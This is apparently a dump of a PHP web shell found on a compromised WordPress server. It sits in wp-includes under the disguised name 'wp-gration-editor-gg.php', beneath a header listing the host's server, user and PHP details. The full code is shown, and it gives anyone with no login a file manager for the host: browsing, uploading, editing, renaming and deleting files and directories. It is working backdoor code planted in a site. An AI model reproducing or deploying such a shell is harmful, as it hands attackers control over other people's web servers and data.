HEX
Server: Apache
System: Linux server.sonastudio.co.il 5.14.0-503.22.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jan 24 03:55:12 EST 2025 x86_64
User: galemeraldco (1010)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/galemeraldco/public_html/wp-includes/wp-gration-editor-gg.php
<html>
<head>
<style type="text/css">
    body { background: #ffffff; color: #666666; font-family: Verdana; font-size: 11px; }
    a:link { color: #33CC99; text-decoration: none; }
    a:visited { color: #269771; }
    a:hover { color: #3399FF; text-decoration: underline; }
    table { font-size: 11px; border-collapse: collapse; margin-top: 10px; }
    td { padding: 8px; border-bottom: 1px solid #eee; }
    .header { background: #f4f4f4; font-weight: bold; }
    textarea { width: 100%; height: 400px; font-family: 'Courier New', monospace; font-size: 13px; margin-top: 10px; }
    .btn { cursor: pointer; padding: 2px 5px; }
    .info-bar { margin-bottom: 15px; border-left: 3px solid #33CC99; padding-left: 10px; }
</style>
</head>
<body>
<?php
error_reporting(0);
set_time_limit(0);

// --- 目录逻辑处理 ---
$dir = empty($_GET['dir']) ? getcwd() : $_GET['dir'];
if (!is_dir($dir)) $dir = getcwd(); // 安全回退
chdir($dir);
$dir = getcwd(); // 获取绝对路径
$current = htmlentities($_SERVER['PHP_SELF'] . "?dir=" . $dir);

// 顶部信息栏
echo "<div class='info-bar'>";
echo "<b>Server:</b> " . $_SERVER['SERVER_NAME'] . " | <b>Software:</b> " . $_SERVER['SERVER_SOFTWARE'] . "<br>";
echo "<b>Current Path:</b> " . $dir . "<br>";
echo "</div>";

// --- 操作功能栏 ---
echo "<form action='$current&mode=upload' method='POST' ENCTYPE='multipart/form-data' style='display:inline;'>";
echo "Upload: <input type='file' name='upload_file'> <input type='submit' value='Upload'> </form> | ";
echo "<form action='$current&mode=mkdir' method='POST' style='display:inline;'>";
echo "New Dir: <input name='new_dir' size='10'> <input type='submit' value='Create'> </form> | ";
echo "<form action='$current&mode=newfile' method='POST' style='display:inline;'>";
echo "New File: <input name='new_filename' size='10'> <input type='submit' value='Create'> </form><br>";

// --- 逻辑分支 ---
$mode = $_GET['mode'];
switch ($mode) {
    case 'delete': // 删除文件
        $file = $_GET['file'];
        if (unlink($file)) echo "<p style='color:green;'>File '$file' deleted.</p>";
        break;

    case 'rmdir': // 删除目录 (递归删除或空目录删除)
        $rm = $_GET['rm'];
        if (is_dir($rm)) {
            // 注意:rmdir 只能删除空目录。此处保持简单,仅删除空目录。
            if (@rmdir($rm)) echo "<p style='color:green;'>Directory '$rm' removed.</p>";
            else echo "<p style='color:red;'>Error: Directory not empty or no permission.</p>";
        }
        break;

    case 'rename': // 重命名(文件和目录通用)
        $old = $_GET['old'];
        $new = $_POST['new_name'];
        if (empty($new)) {
            echo "<fieldset><legend>Rename: $old</legend>";
            echo "<form action='$current&mode=rename&old=$old' method='POST'>";
            echo "New Name: <input name='new_name' value='$old'> <input type='submit' value='Apply'></form></fieldset>";
        } else {
            if (rename($old, $new)) echo "<p style='color:green;'>Renamed to $new.</p>";
        }
        break;

    case 'edit': // 编辑文件内容
        $file = $_GET['file'];
        if (isset($_POST['save'])) {
            $content = $_POST['content'];
            file_put_contents($file, $content);
            echo "<p style='color:green;'>File '$file' updated.</p>";
        }
        $content = is_file($file) ? htmlspecialchars(file_get_contents($file)) : "";
        echo "<fieldset><legend>Editing: $file</legend>";
        echo "<form action='$current&mode=edit&file=$file' method='POST'>";
        echo "<textarea name='content'>$content</textarea><br>";
        echo "<input type='submit' name='save' value='Save Changes'></form></fieldset>";
        break;

    case 'mkdir': // 新建目录
        $new_dir = $_POST['new_dir'];
        if (!empty($new_dir) && !file_exists($new_dir)) {
            mkdir($new_dir);
            echo "<p style='color:green;'>Dir '$new_dir' created.</p>";
        }
        break;

    case 'newfile': // 新建文件
        $new_filename = $_POST['new_filename'];
        if (!empty($new_filename) && !file_exists($new_filename)) {
            file_put_contents($new_filename, "");
            echo "<p style='color:green;'>File '$new_filename' created.</p>";
        }
        break;

    case 'upload': // 上传
        $temp = $_FILES['upload_file']['tmp_name'];
        $file = basename($_FILES['upload_file']['name']);
        if (!empty($file)) {
            move_uploaded_file($temp, $file);
            echo "<p style='color:green;'>Upload success: $file</p>";
        }
        break;
}

// --- 文件列表渲染 ---
clearstatcache();
echo "<table width='100%'>";
echo "<tr class='header'><td>Name</td><td>Size</td><td>Last Modified</td><td>Actions</td></tr>";

$files = scandir($dir);
// 文件夹
foreach ($files as $file) {
    if ($file == "." || $file == "..") {
        if ($file == "..") {
            $up = dirname($dir);
            echo "<tr><td><a href='?dir=$up'><b>[ Parent Directory ]</b></a></td><td>-</td><td>-</td><td>-</td></tr>";
        }
        continue;
    }

    if (is_dir($file)) {
        $mtime = date("Y-m-d H:i:s", filemtime($file));
        $items = count(scandir($file)) - 2;
        echo "<tr>";
        echo "<td><a href='?dir=$dir/$file'><b>[ $file ]</b></a></td>";
        echo "<td>$items Items</td>";
        echo "<td>$mtime</td>";
        echo "<td>
                <a href='$current&mode=rename&old=$file'>Rename</a> | 
                <a href='$current&mode=rmdir&rm=$file' onclick=\"return confirm('Delete directory?')\">Delete</a>
              </td>";
        echo "</tr>";
    }
}

// 文件
foreach ($files as $file) {
    if (is_file($file)) {
        $mtime = date("Y-m-d H:i:s", filemtime($file));
        $size = round(filesize($file) / 1024, 2) . " KB";
        echo "<tr>";
        echo "<td>$file</td>";
        echo "<td>$size</td>";
        echo "<td>$mtime</td>";
        echo "<td>
                <a href='$current&mode=edit&file=$file'>Edit</a> | 
                <a href='$current&mode=rename&old=$file'>Rename</a> | 
                <a href='$current&mode=delete&file=$file' onclick=\"return confirm('Delete file?')\">Delete</a>
              </td>";
        echo "</tr>";
    }
}
echo "</table>";
?>
</body>
</html>